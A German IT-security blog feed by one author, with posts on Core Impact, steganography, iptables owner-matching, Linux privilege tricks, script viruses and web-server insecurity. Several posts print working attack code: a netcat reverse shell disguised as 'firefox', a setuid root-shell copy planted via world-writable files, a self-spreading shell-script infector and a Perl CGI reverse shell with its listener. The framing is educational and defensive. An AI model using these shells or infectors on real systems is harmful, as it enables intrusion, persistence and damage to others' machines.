Remoteshell-Security Blog - IT-Security

Vortrag: Botnetze - Funktion, Erkennung und Entfernung

nospam@example.com (Daniel) — Sun, 31 Jan 2010 16:18:26 +0100

Wie in meinem letzten Blog-Eintrag ankündigt werde ich meine derzeitgen Arbeiten hier veröffentlichen. Diesmal meine Präsentation zum Thema Botnetze.

Vortrag

Die Präsentation hatte Ursprünglich noch meine ganzen Quellen enthalten, aber mit Absprache meine Professors, haben wir ausgemacht, das die Quellen in der dazugehörigen Seminararbeit genannt werden. Werde diese auch in den nächsten Wochen nach meinen Prüfungen veröffentlichen.

Das Exploiting Framework Core Impact

nospam@example.com (Daniel) — Wed, 22 Jul 2009 17:42:00 +0200

Im Rahmen meines Studiums konnte ich in der Veranstaltung "Penetration Testing I" Bekanntschaft mit dem Exploiting Framework Core Impact Pro V9 machen.
Im vergleich zu Metasploit besteht der große Vorteil darin, dass es in der Bedienung sehr intuitiv zu bedienen ist und trotzallem sehr detaillierte Einstellungen erlaubt. Dabei können die individuellen Konfigurationsmöglichkeiten mit Hilfe eines Assistenten erfolgen.
Core Impact arbeitet auf Basis der „patentierten Agenten Technologie“ wie Core Security selbst ihre Entwicklung beschreibt. Ein Agent ist ein Programm, welches auf dem kompromittierten System installiert wird. Es entspricht in der Funktionalität einem RAT, der ausschließlich im RAM des kompromittierten Systems arbeitet und versucht, durch anti-forensische Maßnahmen unerkannt zu bleiben. So können über die Agenten lokale Prozesse oder über das bereits kompromittierte System weitere Ziel-Systeme angegriffen werden. Ein Agent kann jederzeit aus einem kompromittierten System entfernt werden und überleben per Default keinen Neustart (kann aber eingestellt werden).
Eine Besonderheit von Core Impact ist das automatisierte Ausführen von Penetrationstests, welche von Core Security als “Rapid Penetration Testing“ (RPT) bezeichnet wird. Hierzu wird bei der Standardkonfiguration automatisch folgender Prozess ausgeführt:

1. Enumeration (Information Gathering)
2. Angriff und Penetration
3. Lokales Information Gathering
4. Privilege Escalation
5. Cleanup
6. Reporting

Bei der “Enumeration“ werden wahlweise Information über das Ziel-Netz oder -System gesammelt. Auf Grundlage dieser Informationen wird ein Angriff auf das Ziel-System durchgeführt. Ist der Angriff erfolgreich, werden Informationen über das lokale – also das kompromittierte System – gesammelt, um die erlangten Privilegien zu verifizieren. Sofern durch den Angriff des Ziel-Systems noch nicht die höchsten Zugriffsrechte erlangt wurden, wird versucht diese auszuweiten. Der Angriff wird nach einem Cleanup beendet. Im Cleanup werden alle installierten Agenten entfernt. Ziel ist die Wiederherstellung des Ausgangszustandes vor dem Angriff. Abgeschlossen wird der Prozess mit der Generierung eines ausführlichen Reports. Neben der automatischen Standardkonfiguration besteht die Möglichkeit, per Drag and Drop eigene Prozessfolgen durchzuführen. Allerdings müssen dabei Abhängigkeiten zwischen einzelnen Prozessschritten eingehalten werden. Dabei kann auch auf externe Programme zurückgegriffen werden (z.B. bei Schritt 1).
Je nach Leistung des Systems, auf dem Core Impact ausgeführt wird, können Angriffe parallel ausgeführt werden. Zudem ermöglicht der Scheduler von Core Impact ein detailliertes Planen von Angriffen mit wählbaren Zeitpunkten. Es besteht die Möglichkeit, auch Webanwendungen auf Vulnerabilities zu testen und Phishing E-Mails zu generieren.

Die Exploits, die Core Impact zur Verfügung stellt sind in Python programmiert und können angepasst werden. Hierzu wird eine Python-Schnittstelle bereitgestellt. Die Exploit-Bibliothek von Core Impact wird stetig erweitert und durchschnittlich 10- bis 20-mal im Monat aktualisiert, um neue Vulnerabilities auszunutzen. Das hat zur Folge, dass schon wenige Tage (<= 2 Tage) nach erscheinen einer Vulnerability, ein Exploit für diese bereitgestellt wird.
Zum Suchen dieser Exploits bietet Core Impact eine umfangreiche Exploit-Suchmaschine an. Dabei kann auf bis zu 6 verschiedene Arten gesucht werden, wie in nachfolgender Tabelle zu sehen ist.

Exploits können per Drag and Drop angewendet werden. Core Impact analysiert zuvor das relevante Betriebssystem sowie die Version. Je mehr Informationen über das Ziel-System bekannt sind, desto wahrscheinlicher ist eine erfolgreiche Anwendung des Exploits. Zudem wird eine automatische Wahl der Konfigurationsparameter begünstigt. Eine manuelle Wahl der Konfigurtionsparameter ist ebenfalls möglich.

Einziges Manko an Core Impact ist der exorbitante Preis im Vergleich zu Metasploit, welches kostenlos ist.

Die Kunst der Verschleierung (Update)

nospam@example.com (Daniel) — Tue, 12 Feb 2008 22:25:00 +0100

Als kleines Kind war ich immer von den Tricks der Zauberer fasziniert, die es schaften ganze Fahrzeuge vor meinen Augen verschwinden zu lassen.
Jahre später war ich immer noch so sehr davon fasziniert, so das es mein Kinderwunsch war, auch selbiges zu vollbringen wie die großen Männer in Frack und Zylinder.
So kam es, das ich mich ein wenig mit der Kunst der Zauberei beschäftigte, wobei zu meinem Bedauern mir keines der damaligen Tricks bis heute erhalten geblieben ist. Dennoch ist mir bewusst, dass sich die Zauberei ein grundlegendes Prinzip zu Nutze macht, welches auch heute in der Informatik vielseitig Einsatz findet.

Dem Verschleiern von Informationen.

Es gibt an sich nur zwei Möglichkeiten Informationen vor anderen zu sichern.

Die erste Möglichkeit besteht darin, die Informationen vor den anderen unzugänglich zu machen - einem Safe in welcher Form auch immer.
Nur eine Person, welche dazu legitimiert ist, darf/kann an die geschützten Informationen gelangen, da diese durch den Safe (kryptographische Mittel) dem anderen verwehrt werden. Jedoch kann ein Angreifer immer noch nach Schwachstellen in der zu schützenden Methode suchen.
Da aber all diese "Schutzmethoden" von Menschenhand gemacht wurden, wird je nach Wert der Informationen bzw. der Ware ein Angreifer zum Schluss kommen, dass das schwächste Glied in der Kette hier der Mensch selber darstellt. Mit entsprechenden Druckmitteln könnte nun der Angreifer denjenigen dazu bringen, die geschützten Information preis zugeben bzw. ihm den Zugang zu diesen zu verschaffen.

Einen ganz anderen Weg geht hier die Zauberei. Durch Illusionen, optische Täuschungen sowie Verschleierung wird versucht die Aufmerksamkeit auf ein anderes Medium zu ziehen. Somit wird von dem zu schützenden Medium abgelenkt.

Mir ist durch aus das Prinzip Security through obscurity oder security by obscurity (engl. „Sicherheit durch Unklarheit“) in der IT-Sicherheit bekannt und ich bin, wie viele andere auch, der Meinung das Sicherheit nicht durch Verschleierung begründet werden sollte (Kerckhoffs’ Prinzip). Denn gerade in der Kryptographie wird davon profitiert, dass viele andere Einblick in den Algorithmus haben können, um mögliche Schwachstellen schnell zu identifizieren. Diese erreichen dann auch meist schnell die Öffentlichkeit und man kann dann als Anwender auf ein anderes Krypto-Verfahren setzen. Ebenso bin ich ein Verfechter der Open Source-Theorie, daher will ich das alles hier auch überhaupt nicht in Frage stellen.

Jedoch kann versucht werden, durch Einsatz von steganographischen Mitteln ein kryptographisches Verfahren zusätzlich zu sichern. Beispielsweise möchte man ein geheimes Treffen vereinbaren und man hat zu befürchten das der Adressat observiert wird. Um dennoch dieses Treffen zu vereinbaren, könnte man ihm eine Nachricht zu kommen lassen, welche auf ein schönes Foto vom letzten Urlaub im Anhang hinweist. In diesem unscheinbaren Urlaubsfoto ist nun eine verschlüsselte Botschaft enthalten.

Die Realisierung einer solchen Hybridlösung könnte unter Linux wie folgt aus sehen:

rsecurity blog # echo "Geheime Botschaft"> secmsg.txt
rsecurity blog # cat secmsg.txt
Geheime Botschaft
rsecurity blog #
rsecurity blog # ls
secmsg.txt  urlaub.jpg
rsecurity blog # gpg -e -r empfaenger -a secmsg.txt
rsecurity blog # ls
secmsg.txt  secmsg.txt.asc  urlaub.jpg
rsecurity blog #
rsecurity blog # sha256sum urlaub.jpg
ab3dccc0a9efc0759a881d06a7eb777d1b5cd2d49af86b7f4460f9b41f683111  urlaub.jpg
rsecurity blog # steghide embed -cf urlaub.jpg -ef secmsg.txt.asc
Passwort eingeben:
Passwort wiederholen:
Bette "secmsg.txt.asc" in "urlaub.jpg" ein... fertig
rsecurity blog # sha256sum urlaub.jpg
9571fd9645e8ed672cad8eca621051618483818a4f27864927f46b069ebc0241  urlaub.jpg
rsecurity blog # rm -f secmsg.txt
rsecurity blog # rm -f secmsg.txt.asc
rsecurity blog # ls
urlaub.jpg
rsecurity blog # file urlaub.jpg
urlaub.jpg: JPEG image data, JFIF standard 1.01
rsecurity blog #

Versenden des Urlaub-Fotos an den Adressaten

Auf Empfänger Seite:
empfaenger mail # ls
urlaub.jpg
empfaenger mail # steghide extract -sf urlaub.jpg
Passwort eingeben:
Extrahierte Daten wurden nach "secmsg.txt.asc" geschrieben.
empfaenger mail # ls
secmsg.txt.asc  urlaub.jpg
empfaenger mail #
empfaenger mail # gpg -d secmsg.txt.asc >secmsg.txt

Sie benötigen eine Passphrase, um den geheimen Schlüssel zu entsperren.
Benutzer: "empfaenger "
2048-Bit ELG Schlüssel, ID 170742AF, erzeugt 2008-02-12 (Hauptschlüssel-ID B1395460)
Passphrase:
gpg: verschlüsselt mit 2048-Bit ELG Schlüssel, ID 170742AF, erzeugt 2008-02-12
      "empfaenger "
empfaenger mail # cat secmsg.txt
Geheime Botschaft
empfaenger mail #

Das Beispiel zeigt, wie eine vertrauliche Botschaft in eine Textdatei geschrieben wird. Diese wird anschließend mit GnuPG verschlüsselt (Eine gute Anleitung zum Umgang mit GnuPG gibt es hier). Dabei wird hier der öffentliche Schlüssel des Adressaten verwendet. Mit dem Linux-Tool steghide wird die verschlüsselte Botschaft in das Bild eingebettet. Auffällig sind hier die unterschiedlichen SHA-Hashes der urlaub.jpg vor und nach dem Einbetten. Der Unterschied der Hashes macht deutlich, dass es eine Veränderung in der urlaub.jpg gegeben haben muss, nämlich die verschlüsselte Botschaft. Trotz des Eingriffes in die Datei urlaub.jpg scheint es keine offensichtliche Veränderung des Bildes gegeben haben. Nun wird die das Bild beispielsweise als Anhang an den Adressaten verschickt. Dieser kann nun, sofern er das Passwort kennt, die verschlüsselte Botschaft aus dem Bild extrahieren. Um die vertrauliche Botschaft zu lesen ist es jetzt noch erforderlich, das dieser den Textfile entschlüsselt. Aufgrund der Tatsache, das die Botschaft mit seinem öffentlichen Schlüssel verschlüsselt wurde, kann die Botschaft nur mit seinem privaten Schlüssel entschlüsselt werden. Nach erfolgreicher Eingabe seines Mantras (die Passphrase) hat dieser nun Zugriff auf die vertrauliche Nachricht.


Orginal Bild	Bild mit steganographisch hinzugefügtem Text

Natürlich existieren auch für andere Betriebssystem-Plattformen Anwendungen, die einem das Verwenden von steganographischen Mitteln ermöglichen. So gibt es z.B. für Microsoft Windows stegano oder auch stegano.Net.

Das Beispiel hier konnte natürlich nur sehr oberflächlich das Thema Steganograhpie im Alltag aufzeigen, daher sei auf einen guten Artikel vom FBI aus dem Jahre 2004 hingewiesen, um sich in dem Themengebiet zu vertiefen. Auch auf forensics.nl ist ein umfangreiches Archiv zu diesem Thema vorhanden.

Den großen Vorteil, den ich an solch einer Hybridlösung sehe ist, das die verschlüsselte Nachricht kein Aufsehen erregt, da diese durch die Steganographie, hier im Beispiel in einem Bild, versteckt wird. Dies lässt einen möglichen Dritten erst gar nicht auf dem Gedanken kommen, das der Adressat eine Nachricht erhalten hat.

Somit gelangt unbemerkt eine Nachricht zum Adressaten und selbst wenn die Steganographie enttarnt wird, so bleibt immer noch die verschlüsselte Botschaft, welche entschlüsselt werden müsste.

Gerade das richtige Zusammenspiel beider Verfahren macht es für Dritte gerade zu unmöglich an die zu schützenden Informationen zu gelangen.

Daher sollte man, um ein höst Maß an Sicherheit zu Gewinnen, die Vorteile beider Verfahren nutzen.

Der Owner-Match von Iptables: Stärken und Schwächen

nospam@example.com (Daniel) — Fri, 24 Aug 2007 15:44:00 +0200

Das man mittels Iptables mächtige Firewall-Regeln aufstellen kann ist keine neue Sache und den meisten Administratoren auch bekannt. Doch Iptables steckt voller Überraschungen, so kann man bei ausgehenden Paketen neben den Protokoll spezifischen Eigenschaften (bei TCP wären es z.B. Quell-Port/-Adresse sowie Ziel-Port/-Adresse, TTL, FLAG, etc.) auch die User-ID(UID), die Group-ID(GID), die Process-ID(PID) sowie die Session-ID(SID) des Programms von dem das Paket stammt prüfen und Regeln dem entsprechend aufstellen.

Die Technik, die sich dahinter verbirgt wird als Owner-Match bezeichnet. Wie oben schon erwähnt greift der Owner-Match nur bei ausgehenden Pakete, welche man selber erzeugt hat, genauer nur in der OUTPUT-Kette.
Neben den oben genannten Features von Iptables, bieten neue Versionen von Iptables auch die Möglichkeit Filter auf dem Kommandonamen anzuwenden.

Die Optionen die der Owner-Match zur Verfügung stellt, sind in nachfolgender Tabelle aufgelistet:

Es sei noch darauf Hingewiesen, das die letzten drei Optionen (<pid>,<sid>,<cmd>) auf Symmetrischen Multiprozessorsystemen (kurz SMP) defekt sind und somit dort nicht laufen.

Nun sehen wir uns noch ein paar weitere praktische Beispiele des Owner-Matches an, die uns bei der täglichen Arbeit helfen sollen. Als Szenario sei die Situation gegeben, das man einen Terminalserver mit vielen verschiedenen Benutzern betreibt und nur bestimmten Benutzern der Verbindungsaufbau ins WAN (z.B. dem Internet) erlaubt werden soll. Durch den Owner-Match hat man die Möglichkeit jeden einzelnen Benutzer mittels der User-ID den Zugriffs ins WAN zu erlauben (-j ACCEPT) oder zu verwehren (-J REJECT):

root@gentoo:~ # iptables -A OUTPUT -m owner --uid-owner 314 -m state --state NEW -j REJECT
root@gentoo:~ # iptables -A OUTPUT -m owner --uid-owner 315 -m state --state NEW -j ACCEPT
root@gentoo:~ # iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
root@gentoo:~ # iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEP

Nehmen wir an, das der Benutzer mit der User-ID 314 Herr Müller ist und der Benutzer mit der User-ID 315 der Herr Maier. So wie die Regeln jetzt oben zu sehen sind, darf nur Herr Maier Verbindungen ins WAN aufbauen und führen. Herr Müller hingegen wird der Zugriff ins WAN verwehrt. Wenn man nun Herrn Maiers seine Verbindungen noch weiter einschränken möchte, z.B. das er nur noch im Internet mit dem Browser Firefox surfen darf, so kann man sich die Fähigkeiten des cmd-owner-Matches zu nutze machen:

root@gentoo:~ # iptables -A OUTPUT -m owner --uid-owner 315 --cmd-owner firefox -p tcp -m multiport \
--dport 80,443 -m state --state NEW -j ACCEPT

Mit dieser Abänderung kann Herr Maier nur noch mit dem Browser Firefox TCP-Verbindungen auf den Port 80 (HTTP) sowie 443 (HTTPS) aufbauen. Nicht berücksichtigt sind hier DNS wie auch andere Kleinigkeiten, die hier aber auch nicht zur Diskussion stehen.

Hinweis:

Alle hier genannten Firewall-/Filter-Regeln stellen nur Ausschnitte aus vollständigen Firewall-Scripten da, die als gegeben vorausgesetzt werden. Nur die relevanten Informationen zum Owner-Match werden aufgeführt. Wer sich ernsthaft mit dem Netfilter-Paket und somit auch mit Iptables auseinander setzen möchte, dem sei das Buch "Linux-Firewalls mit iptables & Co." empfohlen.

Auch wenn der obige Ansatz auf dem ersten Blick relativ sicher aussieht, so kann man den Abgleich des Kommandonamens sehr einfach unterlaufen:

maier@gentoo:~ $ cp /bin/nc ~/firefox
maier@gentoo:~ $ ./firefox -e /bin/sh <ip-angreifer> 80

Diese einfache Kopie von netcat, ermöglicht es Herrn Maier, es für Iptables so aussehen zu lassen, als würde er wie in seiner Richtlinie festgelegt, mit Firefox surfen, doch in Wirklichkeit öffnet er einen externen Angreifer einen Zugang ins interne Netz. Der Grund wieso hier der Owner-Match (genauer der cmd-owner-Match) nicht greift liegt daran, das nur der Kommandonamen überprüft wird und dieser bleibt ja bestehen. Abhilfe schaffen hier nur genauer Restriktionen auf Dateisystemebene sowie das Verwenden der PID oder SID. Allerdings muss man bei Programmen, welche nicht als Daemon (Server-Dienst) fungieren wohl eher auf Restriktionen auf Dateisystemebene zurückgreifen, da sich PID wie auch SID beim Neustarten des Programms nicht immer gleich sein muss. Ein Beispiel für die Verwendung von der SID ist folgende:

statt
root@gentoo:~ # iptables -A OUTPUT -m owner --cmd-owner apache2 -j REJECT
sollte man
root@gentoo:~ # iptables -A OUTPUT -m owner --sid-owner $(ps -eo sid,args |grep apache2 |head -n 1 |cut -b 1-5) \
-m state --state NEW -j REJECT
verwenden

Diese einfache Befehlsfolge, welche den Verbindungsaufbau des Apache-Webservers unterbindet (um z.B. Reverse Verbindungen wie CGI Reverse Shells zu verhindern), kann man noch ein wenig verfeinern bzw. restriktiver setzen:

#!/bin/sh
IPT=/sbin/iptables
UID=$(id -u apache) #auf manchen Systemen auch als www-data
SID=$(ps -eo sid,args |grep apache2 |head -n 1 |cut -b 1-5)

$IPT -A OUTPUT -m owner --uid-owner $UID --sid-owner $SID -m state --state NEW -j REJECT

Jetzt findet nicht nur der Abgleich auf die Session-ID statt, sondern auch noch zusätzlich auf die User-ID.

Wie man sieht, ist der Owner-Match von Iptables eine praktische wie auch mächtige Option, um ausgehende Pakete sehr detailliert zu filtern.

Ubuntu Rootshell

nospam@example.com (Daniel) — Wed, 13 Jun 2007 11:54:00 +0200

Es ist zwar keine Schwachstelle, dennoch eine interessante Möglichkeit wie man sich eine Rootshell unter Ubuntu verschaffen kann. Hierzu muss einfach folgendes Script gestartet werden:

duddits@ubuntu:/home/duddits$ vi rs.sh

#!/bin/sh
sudo cp /bin/sh /tmp/.rs
sudo chmod 4755 /tmp/.rs

duddits@ubuntu:/home/duddits$ chmod 755 rs.sh
duddits@ubuntu:/home/duddits$ ./rs.sh
duddits@ubuntu:/home/duddits$ /tmp/.rs
# whoami
root
#

Je nach dem ob der Benutzer zuvor schon einmal sudo verwendet hatte, kann es beim Ausführen des Script zu einer Passwort-Frage kommen oder nicht. Wichtig ist vor allem das die UID und GID 0 sind, also das Besitzer und Gruppe die von Root sind von der Datei /tmp/.rs. Natürlich ist dafür nicht zwingend ein Script notwendig, es würde auch reichen die Befehle direkt am Kommando-Prompt abzusetzen. Für einen Angreifer ist dies natürlich uninteressant, da er ja das Passwort des Benutzers kennen müsste und könnte dann genauso gut auch einfach via

sudo su -

Root werden. Den einzigen Ansatz den ein Angreifer hier verfolgen könnte, wäre nach World Writable Files, also global beschreibbaren Dateien zu suchen, welche als Besitzer und als Gruppe root

haben und diesen dann die beiden Befehle hinzufügen:

duddits@gentoo:~ $ find / -type f \( -perm -7 -o -perm -70 \) -gid 0 -uid 0 -exec ls -lA {} \;
-rwxrwxrwx 1 root root 80500 2007-06-13 12:26 /home/evil
duddits@gentoo:~ $ echo cp /bin/sh /tmp/.rs >> /home/evil
duddits@gentoo:~ $ echo chmod 4755 /tmp/.rs >> /home/evil

Der Benutzer, die ewige Gefahr für jedes System

nospam@example.com (Daniel) — Sun, 27 May 2007 20:00:00 +0200

Viele Systeme erliegen oft einer viel zu unterschätzen Gefahr, dem Benutzer. Denn selbst die beste Antiviren-Software mag einem nicht vor einen einfachen Scriptvirus schützen können, wenn der Benutzer diesen einfach ausführt. Dabei spielt es keine Rolle ob es sich um Windows, Linux oder Mac OS X handelt. Viele Angriffe auf diese Betriebssysteme benötigen oft das zu tun von einem Benutzer. Hierbei hilft z.B. Social Engineering.

Selbst der Kommandointerpreter von Windows bietet genügend Potential. Die cmd mag zwar noch lange nicht so viele Möglichkeiten bieten wie z.B. die Bash, aber dennoch hat man auch hier die Möglichkeit Schaden anzurichten.

Ein Beispiel für solch einen einfachen Script-Virus wäre z.B. nachfolgendes Batch-Script. Dabei soll die hier gezeigten Möglichkeiten nur die technischen Möglichkeiten der Kommandointerpreter der verschiedenen Betriebssysteme aufzeigen und darf nur mit ausdrücklicher Genehmigung des Berechtigten getestet werden. Ich übernehme keine Haftung für evtl. enstandene Schäden.

triton.bat v1

Natürlich bietet dieses Script noch genügend Spielraum. Man muss seiner Fantasy nur freien lauf lassen:

triton.bat v2

Wie man an diesen beiden Beispiel Batch-Viren gut erkennen kann, ist der Schaden der schon durch ein einfaches Script angerichtet werden kann immens. Wer sich für das Entwickeln von Batch-Viren interessiert sollte sich das Batch-Viren-Lehrbuch von Snakebyte zu Gemüte führen. Auch unter Linux sind diese Angriffsvektoren vorhanden, wobei die Bash oder einer der anderen Kommandointerpreter unter Linux aufgrund ihrer Komplexität wesentlich mehr Potential bieten.

#!/bin/sh
for f in 'find . -type f -exec grep -ql #\!/bin/sh {} \;'

do

echo "logout" > tmp$$
cat $f >> tmp$$
mv tmp$$ $f
chmod 777 $f

done

Dieses Script verfolgt den Ansatz, das es einmal ausgeführt wird, versucht alle Skripte auf dem System ausfindig zu machen und bei jedem einzelnen dann zusätzlichen Code einzufügen.
Dieser zusätzliche Code hier ist realativ harmlos, so wird nur der logout-Befehl, welcher den gerade angemeldeten User abmeldet, angefügt. Mit ein wenig Fantasie könnte man dieses Grundgerüst jedoch für weit mehr nutzen.
Je nachdem welcher User das Skript ausführt, sind dann weniger oder mehr Skripte des Systems betroffen.
Das Ziel eines Angreifers wird natürlich sein, dass der Superuser (root) das Skript ausführt, der damit auf einen Schlag sämtliche Skripte des Systems, die sich als Bourne-Shell zu erkennen geben, infiziert.
Damit der Superuser das Skript nicht ausführen muss, könnte man dem Skript noch ein Exploit voran setzen, der dem ausführenden User, ohne dessen Wissen, zuerst priviligierte Superuser-Rechte verschaft, bevor der oben stehende Code ausgeführt werden kann.

Eine andere Möglichkeit wäre ein Skript mit dem Ziel, das sämtliche dem Skript zugänglichen Dateien löscht.

Dieses Skript verfügt dann schon über mehr Schadenspotential, als man auf den ersten Blick vermutet.
Führt man beispielsweise als "normaler" Systembenutzer ein solches Sckript aus, so würden dementsprechend "nur" alle Dateien gelöscht, die dem User gehören. Natürlich sind auch alle Dateien davon betroffen, die mit 777-Rechten ausgestattet sind.

Führt solch ein Skript nun ein User mit Superuser Rechten aus, so sind alle Systemdateien davon betroffen.

Wie man an diesen Beispielen gut erkennen kann, ist der mögliche Schaden nur durch die Fantasie des Entwicklers der Script-Viren eingeschränkt, jedoch bedarfen diese Viren, wie auch die meisten anderen Viren, die Interkation von Benutzern. Doch gerade bei vielen Linux-Anwendern herrscht die Meinung, das es unter Linux keine Viren gibt. Gerade dieser Irrglaube könnte es solch einen Script-Virus leicht machen ein Linux-System zu kompromittieren. Somit sollte man nie leichtgläubig irgendwelche Scripte oder Programme starten, ohne derren Herkunft oder Funktionen eindeutig nachvollziehen zu können.

Das Betriebssystem spielt dabei nur eine minderwertige Rolle. Ein Benutzer oder Administatror der sich diesen Gefahren bewusst ist, wird wahrscheinlich weniger von solchen Angriffs-Vektoren betroffen sein, als ein gutgläubiger Benutzer. Daher bedarf es einer besseren Sensibilisierung für das Thema IT-Sicherheit, auch wenn das Interesse nicht unbedingt vorhanden ist

Informationsvielfalt IT-Sicherheit

nospam@example.com (Daniel) — Sun, 29 Apr 2007 12:15:00 +0200

Webseiten und Blogs die sich mit IT-Sicherheit befassen, gibt es im Internet mittlerweile wie Sand am Meer. Wenn man sich nun neu in diesem Gefilde bewegt, ist es schwer in der Qualität der einzelnen Webseiten zu differenzieren. Es gibt Webseiten die Berichten immer mal wieder über allgemeine Themen der IT-Sicherheit und gehen weniger ins Detail, zu dieser Kategorie würde ich diese Webseite hier auch einordnen. Dann wiederum gibt es Webseiten/Blogs die sich einem Teilgebiet der IT-Sicherheit verschrieben haben, dies kann dann z.B. über Websicherheit oder über Malicious Software sein.

Ich stelle hier mal eine Liste zusammen mit Links, zu Blogs und Webseiten, die ich mir immer mal wieder ansehe, um mich zu informieren:

Articles/Howtos

http://www.computec.ch/

http://www.hackerscenter.com

http://packetstormsecurity.org

http://www.sans.org/reading_room

General about IT-Security

http://blogs.securiteam.com

http://blog.metasploit.com

http://www.computec.ch

http://www.seclog.de

http://www.schneier.com/blog

General News

http://slashdot.org

http://www.heise.de

http://www.heise.de/security

Operatin Systems

http://blogs.technet.com/markrussinovich

http://kerneltrap.org

http://www.linuxsecurity.com

Malicious Software

http://www.f-secure.com/weblog

http://www.invisiblethings.org

http://theinvisiblethings.blogspot.com

Programming/Analysis

http://hexblog.com

Security Mailing-Lists/Vulnerabilities

http://www.cert.org/kb/index.html

http://www.derkeiler.com

http://www.milw0rm.com

http://www.securityfocus.com

http://seclists.org

http://www.securityforest.com

Websecurity

http://blog.php-security.org

http://www.disenchant.ch/blog

http://ha.ckers.org

http://jeremiahgrossman.blogspot.com

http://sylvanvonstuppe.blogspot.com

http://www.gnucitizen.org

Natürlich lese ich nicht alle diese Webseiten täglich. Aus jeder der oben genannten Kategorie habe ich ein bis zwei RSS Feeds aboniert, die ich auch regelmäßg lese. Bei den anderen schaue ich eher sporadisch vorbei.

Firefox Plugins zum vereinfachten Ausnutzen von Angriffsvektoren

nospam@example.com (Daniel) — Fri, 20 Apr 2007 13:25:00 +0200

Firefox bietet schon seit langen eine Vielzahl von nützlichen Plugins, wenn es darum geht, sich Webseiten genauer anzusehen.

Dabei bieten diese Plugins einem Benutzer oft eine menge Möglichkeiten. So z.B. refspoof, welches einem das einfache Spoofen des HTTP Header ermöglicht, ohne auf Telnet oder Netcat zurück zu greifen, wobei dies natürlich auch nicht schwer ist nur ist es über refspoof wesentlich komfortabler.
Zum Thema nützliche Plugins zu Firefox zum Ausnutzen von Angriffsvektoren wurde ende letzen Jahres ein interessanten Artikel auf Securityfocus veröffentlicht:
http://www.securityfocus.com/infocus/1879

Weitere nützliche Plugins sind:
https://addons.mozilla.org/en-US/firefox/addon/966 Tamper Data
http://livehttpheaders.mozdev.org/ Live HTTP Headers
https://addons.mozilla.org/firefox/60/ Web Developer

Wobei diese Plugins in erster Linie Entwicklern von Webanwendungen bzw. Webseiten helfen, so können diese auch sehr nützlich sein, um das Verhalten solcher Applikationen auf mögliche Angriffsvektoren zu untersuchen.

Web(un)sicherheiten

nospam@example.com (Daniel) — Sun, 11 Mar 2007 18:08:00 +0100

Viele Webserver in den weiten des Internets laufen immer noch auf veralteten Versionen, für die es schon längst Exploits gibt, die es für einen Angreifer sehr einfach machen unerlaubten Zugang zu erhalten.

Doch es sind nicht nur Webserver die ungepatched bleiben sondern auch die Systeme auf denen diese laufen oder auch andere Software wie z.B. fertige Forensoftware.
Somit laufen viele Webseiten die Gefahr kompromittiert zu werden, nur dadurch das ältere Versionen mit Sicherheitslücken am laufen sind, die durch einfaches Einspielen eines Patches behoben werden könnten.
Doch da der Mensch ja bekanntlich Faul ist wundert es einem nicht, das gerade diese wichtige Tätigkeit auf der Strecke bleibt.

Eine andere häufige Ursache für die Übernahme von Webservern ist eine Fehlkonfiguration von PHP oder CGI so sind bei vielen Hostern die Möglichkeiten gegeben durch einfaches Uploaden einer Perl-Shell z.b. eine Reverse Telnet-Session aufzubauen, das ganze könnte dann ungefähr so aussehen:

 #!/usr/bin/perl 
 use Socket; 
 $con = sockaddr_in('8090',inet_aton('<IP-Adress>|<DNS-Name>')); 
 socket(SH, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
 connect(SH,$con);select SH;$|=1; 
 while(defined($list=<SH>)){print qx($list);} 
 close(SH);

Abbildung: Beispiel einer CGI Reverse Shell

Nun müsste man als Angreifer entweder seine IP-Adresse oder seinen DNS-Namen eintragen und in der Gegenstelle z.B. Netcat laufen lassen, damit sich dieses CGI-Script auch damit verbinden kann:

root@duddits: ~ # nc -l -n -v -p 8090
listening on [any] 8090

Abbildung: Netcat als Server

Solch ein Angriff ist aber nur möglich, wenn das System auf dem der Webserver nicht besonders gesichert ist und die Umgebung vom Webserver nicht in irgendeiner Art und Weise in einer isolierten Umgebung läuft.
Weitere Informationen sind folgenden Seiten zu entnehmen:
http://www.securityfocus.com/infocus/1786
http://www.securityfocus.com/infocus/1706
http://www.securityfocus.com/infocus/1726

Weiterhin sollte man sich genauer mit der mod_secrutiy von Apache befassen, wenn man diesen als Webserver nutzen will.

Dennoch hätte auch hier ein Angreifer noch Angriffsvektoren auch wenn diese nicht ganz so gravierend sind, da diese in erster Linie der Webseite schaden könnten. Hier zu lädt der Angreifer bei seinem Opfer einfach eine PHP-Shell hoch, die ihm ermöglicht die Webseite entsprechend zu kompromittieren.
Eine PHP-Shell die man für solche Zwecke missbrauchen könnte, habe ich mal vor längerer Zeit entwickelt. Mit dieser oder einer vergleichbaren Shell besitzt ein Angreifer eine sehr komfortabel Möglichkeit eine Webseite einem Defacement zu unterziehen.
Natürlich ist auch dafür die Voraussetzung das die Webseite einem die Möglichkeit bietet, solch ein Script hochzuladen.
Mögliche Ursachen das man einfach solchen Schadcode ausführen kann liegt daran das immer noch viele Hobby-Entwickler beim Erstellen eines Uploads immer noch auf eine ausreichende Validierung verzichten.
Gleiches gilt auch beim Umgang mit global beschreibbaren Variablen, ein Beispiel hier wäre die sogenannte "Peter Huth" Sicherheitslücke.
Die Sicherheitslücke entsteht, wenn man ungeprüft URL Parameter an include() weiterreicht. [1]

Doch die hier genannten Lücken sind nur einige von vielen, die im Web zu finden sind. Beispielsweise sind auch XSS-, CSRF- und SQL-Injection-Lücken immer häufiger im Internet zu finden.
Und wer bisweilen dachte sich durch deaktivieren von Javascript sich vor XSS zu schützen muss leider enttäuscht werden. Mittels CSS ist es möglich wie RSnacke es auf seiner Seite beweist, auch ohne Javascript die History eines Besuchers auszulesen.

Wie man sieht, sind die Angriffsvektoren die eine Webseite ausgeliefert sein kann sehr vielseitig. Gerade deshalb ist es wichtig das Entwickler von Webanwendungen schon bei der Entwicklung versuchen darauf zu achten solche Fehler zu vermeiden.
Aber auch die Administratoren von den Webservern müssen darauf achten die Software entsprechend sicher zu konfigurieren und können durch entsprechende Konfiguration von Web Application Firewalls (WAF) einen Beitrag dazu leisten, übliche Lücken abzuwehren.
Allerdings gilt hier, das bei zu starken Restriktionen der WAF es dazu kommen kann, dass die Webseite mit ihren Anwendungen nicht mehr ordnungsgemäß arbeiten kann. Daher ist es hier wichtig, das man hier abwägt was erlaubt ist und was nicht.
Auf fadetoblack.ch gibt es einen interessanten Blog-Eintrag, welcher sich mit dieser Frage auseinander setzt.

Google - Wer suchet, der findet...

nospam@example.com (Daniel) — Wed, 18 Oct 2006 15:19:00 +0200

